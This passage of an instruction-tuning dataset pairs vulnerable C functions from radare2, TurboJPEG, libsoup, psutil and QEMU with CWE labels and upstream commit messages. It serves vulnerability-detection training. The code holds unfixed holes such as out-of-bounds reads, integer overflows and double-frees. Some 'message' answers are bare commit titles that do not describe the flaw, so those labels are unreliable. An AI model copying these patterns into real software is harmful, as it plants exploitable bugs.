0x%08\"PFMT64x, symbol->paddr);\n\t\t\t}\n\t\t\tr_cons_printf (\" 0x%08\"PFMT64x\" %6s %6s %4d%s%s\\n\",\n\t\t\t addr, bind, type, symbol->size, *name? \" \": \"\", name);\n\t\t}\nnext:\n\t\tsnFini (&sn);\n\t\ti++;\n\t\tfree (r_symbol_name);\n\t\tif (exponly && firstexp) {\n\t\t\tfirstexp = false;\n\t\t}\n\t\tif (printHere) {\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (count == 0 && IS_MODE_JSON (mode)) {\n\t\tr_cons_printf (\"{}\");\n\t}\n\n\n\t//handle thumb and arm for entry point since they are not present in symbols\n\tif (is_arm) {\n\t\tr_list_foreach (entries, iter, entry) {\n\t\t\tif (IS_MODE_SET (mode)) {\n\t\t\t\thandle_arm_entry (r, entry, info, va);\n\t\t\t}\n\t\t}\n\t}\n\tif (IS_MODE_JSON (mode) && !printHere) {\n\t\tr_cons_printf (\"]\");\n\t}\n\n\tr_spaces_pop (&r->anal->meta_spaces);\n\treturn true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-78'], 'message': 'More fixes for the CVE-2019-14745'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int decomp(unsigned char *srcBuf, unsigned char **jpegBuf,\n unsigned long *jpegSize, unsigned char *dstBuf, int w, int h,\n int subsamp, int jpegQual, char *fileName, int tilew,\n int tileh)\n{\n char tempStr[1024], sizeStr[24] = \"\\0\", qualStr[13] = \"\\0\", *ptr;\n FILE *file = NULL;\n tjhandle handle = NULL;\n int row, col, iter = 0, dstBufAlloc = 0, retval = 0;\n double elapsed, elapsedDecode;\n int ps = tjPixelSize[pf];\n int scaledw = TJSCALED(w, sf);\n int scaledh = TJSCALED(h, sf);\n int pitch = scaledw * ps;\n int ntilesw = (w + tilew - 1) / tilew, ntilesh = (h + tileh - 1) / tileh;\n unsigned char *dstPtr, *dstPtr2, *yuvBuf = NULL;\n\n if (jpegQual > 0) {\n snprintf(qualStr, 13, \"_Q%d\", jpegQual);\n qualStr[12] = 0;\n }\n\n if ((handle = tjInitDecompress()) == NULL)\n THROW_TJ(\"executing tjInitDecompress()\");\n\n if (dstBuf == NULL) {\n if ((dstBuf = (unsigned char *)malloc(pitch * scaledh)) == NULL)\n THROW_UNIX(\"allocating destination buffer\");\n dstBufAlloc = 1;\n }\n /* Set the destination buffer to gray so we know whether the decompressor\n attempted to write to it */\n memset(dstBuf, 127, pitch * scaledh);\n\n if (doYUV) {\n int width = doTile ? tilew : scaledw;\n int height = doTile ? tileh : scaledh;\n int yuvSize = tjBufSizeYUV2(width, yuvPad, height, subsamp);\n\n if ((yuvBuf = (unsigned char *)malloc(yuvSize)) == NULL)\n THROW_UNIX(\"allocating YUV buffer\");\n memset(yuvBuf, 127, yuvSize);\n }\n\n /* Benchmark */\n iter = -1;\n elapsed = elapsedDecode = 0.;\n while (1) {\n int tile = 0;\n double start = getTime();\n\n for (row = 0, dstPtr = dstBuf; row < ntilesh;\n row++, dstPtr += pitch * tileh) {\n for (col = 0, dstPtr2 = dstPtr; col < ntilesw;\n col++, tile++, dstPtr2 += ps * tilew) {\n int width = doTile ? min(tilew, w - col * tilew) : scaledw;\n int height = doTile ? min(tileh, h - row * tileh) : scaledh;\n\n if (doYUV) {\n double startDecode;\n\n if (tjDecompressToYUV2(handle, jpegBuf[tile], jpegSize[tile], yuvBuf,\n width, yuvPad, height, flags) == -1)\n THROW_TJ(\"executing tjDecompressToYUV2()\");\n startDecode = getTime();\n if (tjDecodeYUV(handle, yuvBuf, yuvPad, subsamp, dstPtr2, width,\n pitch, height, pf, flags) == -1)\n THROW_TJ(\"executing tjDecodeYUV()\");\n if (iter >= 0) elapsedDecode += getTime() - startDecode;\n } else if (tjDecompress2(handle, jpegBuf[tile], jpegSize[tile],\n dstPtr2, width, pitch, height, pf,\n flags) == -1)\n THROW_TJ(\"executing tjDecompress2()\");\n }\n }\n elapsed += getTime() - start;\n if (iter >= 0) {\n iter++;\n if (elapsed >= benchTime) break;\n } else if (elapsed >= warmup) {\n iter = 0;\n elapsed = elapsedDecode = 0.;\n }\n }\n if (doYUV) elapsed -= elapsedDecode;\n\n if (tjDestroy(handle) == -1) THROW_TJ(\"executing tjDestroy()\");\n handle = NULL;\n\n if (quiet) {\n printf(\"%-6s%s\",\n sigfig((double)(w * h) / 1000000. * (double)iter / elapsed, 4,\n tempStr, 1024),\n quiet == 2 ? \"\\n\" : \" \");\n if (doYUV)\n printf(\"%s\\n\",\n sigfig((double)(w * h) / 1000000. * (double)iter / elapsedDecode,\n 4, tempStr, 1024));\n else if (quiet != 2) printf(\"\\n\");\n } else {\n printf(\"%s --> Frame rate: %f fps\\n\",\n doYUV ? \"Decomp to YUV\" : \"Decompress \", (double)iter / elapsed);\n printf(\" Throughput: %f Megapixels/sec\\n\",\n (double)(w * h) / 1000000. * (double)iter / elapsed);\n if (doYUV) {\n printf(\"YUV Decode --> Frame rate: %f fps\\n\",\n (double)iter / elapsedDecode);\n printf(\" Throughput: %f Megapixels/sec\\n\",\n (double)(w * h) / 1000000. * (double)iter / elapsedDecode);\n }\n }\n\n if (!doWrite) goto bailout;\n\n if (sf.num != 1 || sf.denom != 1)\n snprintf(sizeStr, 24, \"%d_%d\", sf.num, sf.denom);\n else if (tilew != w || tileh != h)\n snprintf(sizeStr, 24, \"%dx%d\", tilew, tileh);\n else snprintf(sizeStr, 24, \"full\");\n if (decompOnly)\n snprintf(tempStr, 1024, \"%s_%s.%s\", fileName, sizeStr, ext);\n else\n snprintf(tempStr, 1024, \"%s_%s%s_%s.%s\", fileName, subName[subsamp],\n qualStr, sizeStr, ext);\n\n if (tjSaveImage(tempStr, dstBuf, scaledw, 0, scaledh, pf, flags) == -1)\n THROW_TJG(\"saving bitmap\");\n ptr = strrchr(tempStr, '.');\n snprintf(ptr, 1024 - (ptr - tempStr), \"-err.%s\", ext);\n if (srcBuf && sf.num == 1 && sf.denom == 1) {\n if (!quiet) printf(\"Compression error written to %s.\\n\", tempStr);\n if (subsamp == TJ_GRAYSCALE) {\n int index, index2;\n\n for (row = 0, index = 0; row < h; row++, index += pitch) {\n for (col = 0, index2 = index; col < w; col++, index2 += ps) {\n int rindex = index2 + tjRedOffset[pf];\n int gindex = index2 + tjGreenOffset[pf];\n int bindex = index2 + tjBlueOffset[pf];\n int y = (int)((double)srcBuf[rindex] * 0.299 +\n (double)srcBuf[gindex] * 0.587 +\n (double)srcBuf[bindex] * 0.114 + 0.5);\n\n if (y > 255) y = 255;\n if (y < 0) y = 0;\n dstBuf[rindex] = abs(dstBuf[rindex] - y);\n dstBuf[gindex] = abs(dstBuf[gindex] - y);\n dstBuf[bindex] = abs(dstBuf[bindex] - y);\n }\n }\n } else {\n for (row = 0; row < h; row++)\n for (col = 0; col < w * ps; col++)\n dstBuf[pitch * row + col] =\n abs(dstBuf[pitch * row + col] - srcBuf[pitch * row + col]);\n }\n if (tjSaveImage(tempStr, dstBuf, w, 0, h, pf, flags) == -1)\n THROW_TJG(\"saving bitmap\");\n }\n\nbailout:\n if (file) fclose(file);\n if (handle) tjDestroy(handle);\n if (dstBuf && dstBufAlloc) free(dstBuf);\n if (yuvBuf) free(yuvBuf);\n return retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'TurboJPEG: Properly handle gigapixel images\n\nPrevent several integer overflow issues and subsequent segfaults that\noccurred when attempting to compress or decompress gigapixel images with\nthe TurboJPEG API:\n\n- Modify tjBufSize(), tjBufSizeYUV2(), and tjPlaneSizeYUV() to avoid\n integer overflow when computing the return values and to return an\n error if such an overflow is unavoidable.\n- Modify tjunittest to validate the above.\n- Modify tjCompress2(), tjEncodeYUVPlanes(), tjDecompress2(), and\n tjDecodeYUVPlanes() to avoid integer overflow when computing the row\n pointers in the 64-bit TurboJPEG C API.\n- Modify TJBench (both C and Java versions) to avoid overflowing the\n size argument to malloc()/new and to fail gracefully if such an\n overflow is unavoidable.\n\nIn general, this allows gigapixel images to be accommodated by the\n64-bit TurboJPEG C API when using automatic JPEG buffer (re)allocation.\nSuch images cannot currently be accommodated without automatic JPEG\nbuffer (re)allocation, due to the fact that tjAlloc() accepts a 32-bit\ninteger argument (oops.) Such images cannot be accommodated in the\nTurboJPEG Java API due to the fact that Java always uses a signed 32-bit\ninteger as an array index.\n\nFixes #361'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: soup_ntlm_parse_challenge (const char *challenge,\n\t\t\t char **nonce,\n\t\t\t char **default_domain,\n\t\t\t gboolean *ntlmv2_session)\n{\n\tgsize clen;\n\tNTLMString domain;\n\tguchar *chall;\n\tguint32 flags;\n\n\tchall = g_base64_decode (challenge, &clen);\n\tif (clen < NTLM_CHALLENGE_DOMAIN_STRING_OFFSET ||\n\t clen < NTLM_CHALLENGE_NONCE_OFFSET + NTLM_CHALLENGE_NONCE_LENGTH) {\n\t\tg_free (chall);\n\t\treturn FALSE;\n\t}\n\n\tmemcpy (&flags, chall + NTLM_CHALLENGE_FLAGS_OFFSET, sizeof(flags));\n\tflags = GUINT_FROM_LE (flags);\n\t*ntlmv2_session = (flags & NTLM_FLAGS_NEGOTIATE_NTLMV2) ? TRUE : FALSE;\n\n\tif (default_domain) {\n\t\tmemcpy (&domain, chall + NTLM_CHALLENGE_DOMAIN_STRING_OFFSET, sizeof (domain));\n\t\tdomain.length = GUINT16_FROM_LE (domain.length);\n\t\tdomain.offset = GUINT16_FROM_LE (domain.offset);\n\n\t\tif (clen < domain.length + domain.offset) {\n\t\t\tg_free (chall);\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t*default_domain = g_convert ((char *)chall + domain.offset,\n\t\t\t\t\t domain.length, \"UTF-8\", \"UCS-2LE\",\n\t\t\t\t\t NULL, NULL, NULL);\n\t}\n\n\tif (nonce) {\n\t\t*nonce = g_memdup (chall + NTLM_CHALLENGE_NONCE_OFFSET,\n\t\t\t\t NTLM_CHALLENGE_NONCE_LENGTH);\n\t}\n\n\tg_free (chall);\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'NTLMv2 responses support'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: psutil_pids(PyObject *self, PyObject *args) {\n kinfo_proc *proclist = NULL;\n kinfo_proc *orig_address = NULL;\n size_t num_processes;\n size_t idx;\n PyObject *py_retlist = PyList_New(0);\n PyObject *py_pid = NULL;\n\n if (py_retlist == NULL)\n return NULL;\n\n // TODO: RuntimeError is inappropriate here; we could return the\n // original error instead.\n if (psutil_get_proc_list(&proclist, &num_processes) != 0) {\n if (errno != 0) {\n PyErr_SetFromErrno(PyExc_OSError);\n }\n else {\n PyErr_SetString(PyExc_RuntimeError,\n \"failed to retrieve process list\");\n }\n goto error;\n }\n\n if (num_processes > 0) {\n orig_address = proclist; // save so we can free it after we're done\n for (idx = 0; idx < num_processes; idx++) {\n#ifdef PSUTIL_FREEBSD\n py_pid = Py_BuildValue(\"i\", proclist->ki_pid);\n#elif defined(PSUTIL_OPENBSD) || defined(PSUTIL_NETBSD)\n py_pid = Py_BuildValue(\"i\", proclist->p_pid);\n#endif\n if (!py_pid)\n goto error;\n if (PyList_Append(py_retlist, py_pid))\n goto error;\n Py_DECREF(py_pid);\n proclist++;\n }\n free(orig_address);\n }\n\n return py_retlist;\n\nerror:\n Py_XDECREF(py_pid);\n Py_DECREF(py_retlist);\n if (orig_address != NULL)\n free(orig_address);\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'Use Py_CLEAR instead of Py_DECREF to also set the variable to NULL (#1616)\n\nThese files contain loops that convert system data into python objects\r\nand during the process they create objects and dereference their\r\nrefcounts after they have been added to the resulting list.\r\n\r\nHowever, in case of errors during the creation of those python objects,\r\nthe refcount to previously allocated objects is dropped again with\r\nPy_XDECREF, which should be a no-op in case the paramater is NULL. Even\r\nso, in most of these loops the variables pointing to the objects are\r\nnever set to NULL, even after Py_DECREF is called at the end of the loop\r\niteration. This means, after the first iteration, if an error occurs\r\nthose python objects will get their refcount dropped two times,\r\nresulting in a possible double-free.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: psutil_disk_io_counters(PyObject *self, PyObject *args) {\n CFDictionaryRef parent_dict;\n CFDictionaryRef props_dict;\n CFDictionaryRef stats_dict;\n io_registry_entry_t parent;\n io_registry_entry_t disk;\n io_iterator_t disk_list;\n PyObject *py_disk_info = NULL;\n PyObject *py_retdict = PyDict_New();\n\n if (py_retdict == NULL)\n return NULL;\n\n // Get list of disks\n if (IOServiceGetMatchingServices(kIOMasterPortDefault,\n IOServiceMatching(kIOMediaClass),\n &disk_list) != kIOReturnSuccess) {\n PyErr_SetString(\n PyExc_RuntimeError, \"unable to get the list of disks.\");\n goto error;\n }\n\n // Iterate over disks\n while ((disk = IOIteratorNext(disk_list)) != 0) {\n py_disk_info = NULL;\n parent_dict = NULL;\n props_dict = NULL;\n stats_dict = NULL;\n\n if (IORegistryEntryGetParentEntry(disk, kIOServicePlane, &parent)\n != kIOReturnSuccess) {\n PyErr_SetString(PyExc_RuntimeError,\n \"unable to get the disk's parent.\");\n IOObjectRelease(disk);\n goto error;\n }\n\n if (IOObjectConformsTo(parent, \"IOBlockStorageDriver\")) {\n if (IORegistryEntryCreateCFProperties(\n disk,\n (CFMutableDictionaryRef *) &parent_dict,\n kCFAllocatorDefault,\n kNilOptions\n ) != kIOReturnSuccess)\n {\n PyErr_SetString(PyExc_RuntimeError,\n \"unable to get the parent's properties.\");\n IOObjectRelease(disk);\n IOObjectRelease(parent);\n goto error;\n }\n\n if (IORegistryEntryCreateCFProperties(\n parent,\n (CFMutableDictionaryRef *) &props_dict,\n kCFAllocatorDefault,\n kNilOptions\n ) != kIOReturnSuccess)\n {\n PyErr_SetString(PyExc_RuntimeError,\n \"unable to get the disk properties.\");\n CFRelease(props_dict);\n IOObjectRelease(disk);\n IOObjectRelease(parent);\n goto error;\n }\n\n const int kMaxDiskNameSize = 64;\n CFStringRef disk_name_ref = (CFStringRef)CFDictionaryGetValue(\n parent_dict, CFSTR(kIOBSDNameKey));\n char disk_name[kMaxDiskNameSize];\n\n CFStringGetCString(disk_name_ref,\n disk_name,\n kMaxDiskNameSize,\n CFStringGetSystemEncoding());\n\n stats_dict = (CFDictionaryRef)CFDictionaryGetValue(\n props_dict, CFSTR(kIOBlockStorageDriverStatisticsKey));\n\n if (stats_dict == NULL) {\n PyErr_SetString(PyExc_RuntimeError,\n \"Unable to get disk stats.\");\n goto error;\n }\n\n CFNumberRef number;\n int64_t reads = 0;\n int64_t writes = 0;\n int64_t read_bytes = 0;\n int64_t write_bytes = 0;\n int64_t read_time = 0;\n int64_t write_time = 0;\n\n // Get disk reads/writes\n if ((number = (CFNumberRef)CFDictionaryGetValue(\n stats_dict,\n CFSTR(kIOBlockStorageDriverStatisticsReadsKey))))\n {\n CFNumberGetValue(number, kCFNumberSInt64Type, &reads);\n }\n if ((number = (CFNumberRef)CFDictionaryGetValue(\n stats_dict,\n CFSTR(kIOBlockStorageDriverStatisticsWritesKey))))\n {\n CFNumberGetValue(number, kCFNumberSInt64Type, &writes);\n }\n\n // Get disk bytes read/written\n if ((number = (CFNumberRef)CFDictionaryGetValue(\n stats_dict,\n CFSTR(kIOBlockStorageDriverStatisticsBytesReadKey))))\n {\n CFNumberGetValue(number, kCFNumberSInt64Type, &read_bytes);\n }\n if ((number = (CFNumberRef)CFDictionaryGetValue(\n stats_dict,\n CFSTR(kIOBlockStorageDriverStatisticsBytesWrittenKey))))\n {\n CFNumberGetValue(number, kCFNumberSInt64Type, &write_bytes);\n }\n\n // Get disk time spent reading/writing (nanoseconds)\n if ((number = (CFNumberRef)CFDictionaryGetValue(\n stats_dict,\n CFSTR(kIOBlockStorageDriverStatisticsTotalReadTimeKey))))\n {\n CFNumberGetValue(number, kCFNumberSInt64Type, &read_time);\n }\n if ((number = (CFNumberRef)CFDictionaryGetValue(\n stats_dict,\n CFSTR(kIOBlockStorageDriverStatisticsTotalWriteTimeKey))))\n {\n CFNumberGetValue(number, kCFNumberSInt64Type, &write_time);\n }\n\n // Read/Write time on macOS comes back in nanoseconds and in psutil\n // we've standardized on milliseconds so do the conversion.\n py_disk_info = Py_BuildValue(\n \"(KKKKKK)\",\n reads,\n writes,\n read_bytes,\n write_bytes,\n read_time / 1000 / 1000,\n write_time / 1000 / 1000);\n if (!py_disk_info)\n goto error;\n if (PyDict_SetItemString(py_retdict, disk_name, py_disk_info))\n goto error;\n Py_DECREF(py_disk_info);\n\n CFRelease(parent_dict);\n IOObjectRelease(parent);\n CFRelease(props_dict);\n IOObjectRelease(disk);\n }\n }\n\n IOObjectRelease (disk_list);\n\n return py_retdict;\n\nerror:\n Py_XDECREF(py_disk_info);\n Py_DECREF(py_retdict);\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'Use Py_CLEAR instead of Py_DECREF to also set the variable to NULL (#1616)\n\nThese files contain loops that convert system data into python objects\r\nand during the process they create objects and dereference their\r\nrefcounts after they have been added to the resulting list.\r\n\r\nHowever, in case of errors during the creation of those python objects,\r\nthe refcount to previously allocated objects is dropped again with\r\nPy_XDECREF, which should be a no-op in case the paramater is NULL. Even\r\nso, in most of these loops the variables pointing to the objects are\r\nnever set to NULL, even after Py_DECREF is called at the end of the loop\r\niteration. This means, after the first iteration, if an error occurs\r\nthose python objects will get their refcount dropped two times,\r\nresulting in a possible double-free.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: psutil_proc_memory_maps(PyObject *self, PyObject *args) {\n int pid;\n int fd = -1;\n char path[1000];\n char perms[10];\n const char *name;\n struct stat st;\n pstatus_t status;\n\n prxmap_t *xmap = NULL, *p;\n off_t size;\n size_t nread;\n int nmap;\n uintptr_t pr_addr_sz;\n uintptr_t stk_base_sz, brk_base_sz;\n const char *procfs_path;\n\n PyObject *py_tuple = NULL;\n PyObject *py_path = NULL;\n PyObject *py_retlist = PyList_New(0);\n\n if (py_retlist == NULL)\n return NULL;\n if (! PyArg_ParseTuple(args, \"is\", &pid, &procfs_path))\n goto error;\n\n sprintf(path, \"%s/%i/status\", procfs_path, pid);\n if (! psutil_file_to_struct(path, (void *)&status, sizeof(status)))\n goto error;\n\n sprintf(path, \"%s/%i/xmap\", procfs_path, pid);\n if (stat(path, &st) == -1) {\n PyErr_SetFromErrno(PyExc_OSError);\n goto error;\n }\n\n size = st.st_size;\n\n fd = open(path, O_RDONLY);\n if (fd == -1) {\n PyErr_SetFromErrno(PyExc_OSError);\n goto error;\n }\n\n xmap = (prxmap_t *)malloc(size);\n if (xmap == NULL) {\n PyErr_NoMemory();\n goto error;\n }\n\n nread = pread(fd, xmap, size, 0);\n nmap = nread / sizeof(prxmap_t);\n p = xmap;\n\n while (nmap) {\n nmap -= 1;\n if (p == NULL) {\n p += 1;\n continue;\n }\n\n perms[0] = '\\0';\n pr_addr_sz = p->pr_vaddr + p->pr_size;\n\n // perms\n sprintf(perms, \"%c%c%c%c\", p->pr_mflags & MA_READ ? 'r' : '-',\n p->pr_mflags & MA_WRITE ? 'w' : '-',\n p->pr_mflags & MA_EXEC ? 'x' : '-',\n p->pr_mflags & MA_SHARED ? 's' : '-');\n\n // name\n if (strlen(p->pr_mapname) > 0) {\n name = p->pr_mapname;\n }\n else {\n if ((p->pr_mflags & MA_ISM) || (p->pr_mflags & MA_SHM)) {\n name = \"[shmid]\";\n }\n else {\n stk_base_sz = status.pr_stkbase + status.pr_stksize;\n brk_base_sz = status.pr_brkbase + status.pr_brksize;\n\n if ((pr_addr_sz > status.pr_stkbase) &&\n (p->pr_vaddr < stk_base_sz)) {\n name = \"[stack]\";\n }\n else if ((p->pr_mflags & MA_ANON) && \\\n (pr_addr_sz > status.pr_brkbase) && \\\n (p->pr_vaddr < brk_base_sz)) {\n name = \"[heap]\";\n }\n else {\n name = \"[anon]\";\n }\n }\n }\n\n py_path = PyUnicode_DecodeFSDefault(name);\n if (! py_path)\n goto error;\n py_tuple = Py_BuildValue(\n \"kksOkkk\",\n (unsigned long)p->pr_vaddr,\n (unsigned long)pr_addr_sz,\n perms,\n py_path,\n (unsigned long)p->pr_rss * p->pr_pagesize,\n (unsigned long)p->pr_anon * p->pr_pagesize,\n (unsigned long)p->pr_locked * p->pr_pagesize);\n if (!py_tuple)\n goto error;\n if (PyList_Append(py_retlist, py_tuple))\n goto error;\n Py_DECREF(py_path);\n Py_DECREF(py_tuple);\n\n // increment pointer\n p += 1;\n }\n\n close(fd);\n free(xmap);\n return py_retlist;\n\nerror:\n if (fd != -1)\n close(fd);\n Py_XDECREF(py_tuple);\n Py_XDECREF(py_path);\n Py_DECREF(py_retlist);\n if (xmap != NULL)\n free(xmap);\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'Use Py_CLEAR instead of Py_DECREF to also set the variable to NULL (#1616)\n\nThese files contain loops that convert system data into python objects\r\nand during the process they create objects and dereference their\r\nrefcounts after they have been added to the resulting list.\r\n\r\nHowever, in case of errors during the creation of those python objects,\r\nthe refcount to previously allocated objects is dropped again with\r\nPy_XDECREF, which should be a no-op in case the paramater is NULL. Even\r\nso, in most of these loops the variables pointing to the objects are\r\nnever set to NULL, even after Py_DECREF is called at the end of the loop\r\niteration. This means, after the first iteration, if an error occurs\r\nthose python objects will get their refcount dropped two times,\r\nresulting in a possible double-free.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: psutil_users(PyObject *self, PyObject *args) {\n PyObject *py_retlist = PyList_New(0);\n PyObject *py_username = NULL;\n PyObject *py_tty = NULL;\n PyObject *py_hostname = NULL;\n PyObject *py_tuple = NULL;\n\n if (py_retlist == NULL)\n return NULL;\n\n#if (defined(__FreeBSD_version) && (__FreeBSD_version < 900000)) || PSUTIL_OPENBSD\n struct utmp ut;\n FILE *fp;\n\n fp = fopen(_PATH_UTMP, \"r\");\n if (fp == NULL) {\n PyErr_SetFromErrnoWithFilename(PyExc_OSError, _PATH_UTMP);\n goto error;\n }\n\n while (fread(&ut, sizeof(ut), 1, fp) == 1) {\n if (*ut.ut_name == '\\0')\n continue;\n py_username = PyUnicode_DecodeFSDefault(ut.ut_name);\n if (! py_username)\n goto error;\n py_tty = PyUnicode_DecodeFSDefault(ut.ut_line);\n if (! py_tty)\n goto error;\n py_hostname = PyUnicode_DecodeFSDefault(ut.ut_host);\n if (! py_hostname)\n goto error;\n py_tuple = Py_BuildValue(\n \"(OOOfi)\",\n py_username, // username\n py_tty, // tty\n py_hostname, // hostname\n (float)ut.ut_time, // start time\n#ifdef PSUTIL_OPENBSD\n -1 // process id (set to None later)\n#else\n ut.ut_pid // process id\n#endif\n );\n if (!py_tuple) {\n fclose(fp);\n goto error;\n }\n if (PyList_Append(py_retlist, py_tuple)) {\n fclose(fp);\n goto error;\n }\n Py_DECREF(py_username);\n Py_DECREF(py_tty);\n Py_DECREF(py_hostname);\n Py_DECREF(py_tuple);\n }\n\n fclose(fp);\n#else\n struct utmpx *utx;\n setutxent();\n while ((utx = getutxent()) != NULL) {\n if (utx->ut_type != USER_PROCESS)\n continue;\n py_username = PyUnicode_DecodeFSDefault(utx->ut_user);\n if (! py_username)\n goto error;\n py_tty = PyUnicode_DecodeFSDefault(utx->ut_line);\n if (! py_tty)\n goto error;\n py_hostname = PyUnicode_DecodeFSDefault(utx->ut_host);\n if (! py_hostname)\n goto error;\n py_tuple = Py_BuildValue(\n \"(OOOfi)\",\n py_username, // username\n py_tty, // tty\n py_hostname, // hostname\n (float)utx->ut_tv.tv_sec, // start time\n#ifdef PSUTIL_OPENBSD\n -1 // process id (set to None later)\n#else\n utx->ut_pid // process id\n#endif\n );\n\n if (!py_tuple) {\n endutxent();\n goto error;\n }\n if (PyList_Append(py_retlist, py_tuple)) {\n endutxent();\n goto error;\n }\n Py_DECREF(py_username);\n Py_DECREF(py_tty);\n Py_DECREF(py_hostname);\n Py_DECREF(py_tuple);\n }\n\n endutxent();\n#endif\n return py_retlist;\n\nerror:\n Py_XDECREF(py_username);\n Py_XDECREF(py_tty);\n Py_XDECREF(py_hostname);\n Py_XDECREF(py_tuple);\n Py_DECREF(py_retlist);\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'Use Py_CLEAR instead of Py_DECREF to also set the variable to NULL (#1616)\n\nThese files contain loops that convert system data into python objects\r\nand during the process they create objects and dereference their\r\nrefcounts after they have been added to the resulting list.\r\n\r\nHowever, in case of errors during the creation of those python objects,\r\nthe refcount to previously allocated objects is dropped again with\r\nPy_XDECREF, which should be a no-op in case the paramater is NULL. Even\r\nso, in most of these loops the variables pointing to the objects are\r\nnever set to NULL, even after Py_DECREF is called at the end of the loop\r\niteration. This means, after the first iteration, if an error occurs\r\nthose python objects will get their refcount dropped two times,\r\nresulting in a possible double-free.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void lsi_execute_script(LSIState *s)\n{\n PCIDevice *pci_dev = PCI_DEVICE(s);\n uint32_t insn;\n uint32_t addr, addr_high;\n int opcode;\n int insn_processed = 0;\n\n s->istat1 |= LSI_ISTAT1_SRUN;\nagain:\n insn_processed++;\n insn = read_dword(s, s->dsp);\n if (!insn) {\n /* If we receive an empty opcode increment the DSP by 4 bytes\n instead of 8 and execute the next opcode at that location */\n s->dsp += 4;\n goto again;\n }\n addr = read_dword(s, s->dsp + 4);\n addr_high = 0;\n trace_lsi_execute_script(s->dsp, insn, addr);\n s->dsps = addr;\n s->dcmd = insn >> 24;\n s->dsp += 8;\n switch (insn >> 30) {\n case 0: /* Block move. */\n if (s->sist1 & LSI_SIST1_STO) {\n trace_lsi_execute_script_blockmove_delayed();\n lsi_stop_script(s);\n break;\n }\n s->dbc = insn & 0xffffff;\n s->rbc = s->dbc;\n /* ??? Set ESA. */\n s->ia = s->dsp - 8;\n if (insn & (1 << 29)) {\n /* Indirect addressing. */\n addr = read_dword(s, addr);\n } else if (insn & (1 << 28)) {\n uint32_t buf[2];\n int32_t offset;\n /* Table indirect addressing. */\n\n /* 32-bit Table indirect */\n offset = sextract32(addr, 0, 24);\n pci_dma_read(pci_dev, s->dsa + offset, buf, 8);\n /* byte count is stored in bits 0:23 only */\n s->dbc = cpu_to_le32(buf[0]) & 0xffffff;\n s->rbc = s->dbc;\n addr = cpu_to_le32(buf[1]);\n\n /* 40-bit DMA, upper addr bits [39:32] stored in first DWORD of\n * table, bits [31:24] */\n if (lsi_dma_40bit(s))\n addr_high = cpu_to_le32(buf[0]) >> 24;\n else if (lsi_dma_ti64bit(s)) {\n int selector = (cpu_to_le32(buf[0]) >> 24) & 0x1f;\n switch (selector) {\n case 0 ... 0x0f:\n /* offset index into scratch registers since\n * TI64 mode can use registers C to R */\n addr_high = s->scratch[2 + selector];\n break;\n case 0x10:\n addr_high = s->mmrs;\n break;\n case 0x11:\n addr_high = s->mmws;\n break;\n case 0x12:\n addr_high = s->sfs;\n break;\n case 0x13:\n addr_high = s->drs;\n break;\n case 0x14:\n addr_high = s->sbms;\n break;\n case 0x15:\n addr_high = s->dbms;\n break;\n default:\n qemu_log_mask(LOG_GUEST_ERROR,\n \"lsi_scsi: Illegal selector specified (0x%x > 0x15) \"\n \"for 64-bit DMA block move\", selector);\n break;\n }\n }\n } else if (lsi_dma_64bit(s)) {\n /* fetch a 3rd dword if 64-bit direct move is enabled and\n only if we're not doing table indirect or indirect addressing */\n s->dbms = read_dword(s, s->dsp);\n s->dsp += 4;\n s->ia = s->dsp - 12;\n }\n if ((s->sstat1 & PHASE_MASK) != ((insn >> 24) & 7)) {\n trace_lsi_execute_script_blockmove_badphase(\n scsi_phase_name(s->sstat1),\n scsi_phase_name(insn >> 24));\n lsi_script_scsi_interrupt(s, LSI_SIST0_MA, 0);\n break;\n }\n s->dnad = addr;\n s->dnad64 = addr_high;\n switch (s->sstat1 & 0x7) {\n case PHASE_DO:\n s->waiting = LSI_DMA_SCRIPTS;\n lsi_do_dma(s, 1);\n if (s->waiting)\n s->waiting = LSI_DMA_IN_PROGRESS;\n break;\n case PHASE_DI:\n s->waiting = LSI_DMA_SCRIPTS;\n lsi_do_dma(s, 0);\n if (s->waiting)\n s->waiting = LSI_DMA_IN_PROGRESS;\n break;\n case PHASE_CMD:\n lsi_do_command(s);\n break;\n case PHASE_ST:\n 